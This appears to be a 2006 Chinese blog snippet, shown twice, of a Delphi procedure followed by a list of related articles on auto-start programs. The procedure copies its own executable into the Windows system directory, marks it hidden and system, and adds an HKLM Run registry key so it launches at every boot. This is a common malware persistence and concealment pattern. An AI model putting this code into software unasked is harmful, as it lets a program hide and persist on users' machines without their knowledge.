自我复制到系统目录中,并写注册表,使程序开机自动运行
2006-04-06 11:29
471 查看
procedure TForm1.CopyNWriteRegestry;
var Path:array [0..255] of char;
Hk:HKEY;
SysStr,CurStr:string;
begin
//以下是自我复制,首先判断该程序是否存在,再决定是否进行复制
GetSystemDirectory(Path,255);
SysStr:=StrPas(Path);
CurStr:=GetCurrentDir;
CopyFile(pchar(CurStr+'/SysMudu.exe'),pchar(SysStr+'/SysMudu.exe'),True);
SetFileAttributes(pchar(SysStr+'/SysMudu.exe'),
FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM);
//以下是写注册表,使开机自动运行
RegOpenKey(HKEY_LOCAL_MACHINE,
'Software/Microsoft/Windows/CurrentVersion/Run',Hk);
RegSetValueEx(Hk,'SysMudu',0,REG_SZ,PChar(SysStr+'/sysMudu.exe'),50);
end;
var Path:array [0..255] of char;
Hk:HKEY;
SysStr,CurStr:string;
begin
//以下是自我复制,首先判断该程序是否存在,再决定是否进行复制
GetSystemDirectory(Path,255);
SysStr:=StrPas(Path);
CurStr:=GetCurrentDir;
CopyFile(pchar(CurStr+'/SysMudu.exe'),pchar(SysStr+'/SysMudu.exe'),True);
SetFileAttributes(pchar(SysStr+'/SysMudu.exe'),
FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM);
//以下是写注册表,使开机自动运行
RegOpenKey(HKEY_LOCAL_MACHINE,
'Software/Microsoft/Windows/CurrentVersion/Run',Hk);
RegSetValueEx(Hk,'SysMudu',0,REG_SZ,PChar(SysStr+'/sysMudu.exe'),50);
end;
相关文章推荐
- 如何使Linux系统上的程序开机后自动运行
- 如何使Linux系统上的程序开机后自动运行
- 控制Android系统 全屏并且 程序开机自动运行 并且实现程序运行中 开机不锁屏
- 如何让Linux系统的程序在开机时自动运行:
- 注册表编程VC 使程序开机自动运行
- 如何让Linux系统的程序在开机时自动运行
- 如何使Linux系统上的程序开机后自动运行(补)
- 目录复制和程序开机自动启动
- 系统开机自动运行程序和自动启动服务
- 通过修改注册表让wince开机自动运行程序,不需要修改内核
- 怎样修改注册表,让程序开机自动运行[收藏]
- 如何让Linux系统的程序在开机时自动运行
- Android程序:系统重启+开机自动运行+屏幕解锁
- i.MX6Ul arm linux 开机自动root登陆系统及自动运行程序
- 使Linux系统上的程序开机后自动运行
- Windows系统开机自动运行程序和自动启动服务
- 系统开机自动运行程序和自动启动服务
- 注册表中关于开机自动运行程序和自动启动服务的是哪几个键?(转)
- windows中系统开机自动运行程序和自动启动服务
- 让Linux系统的程序在开机时自动运行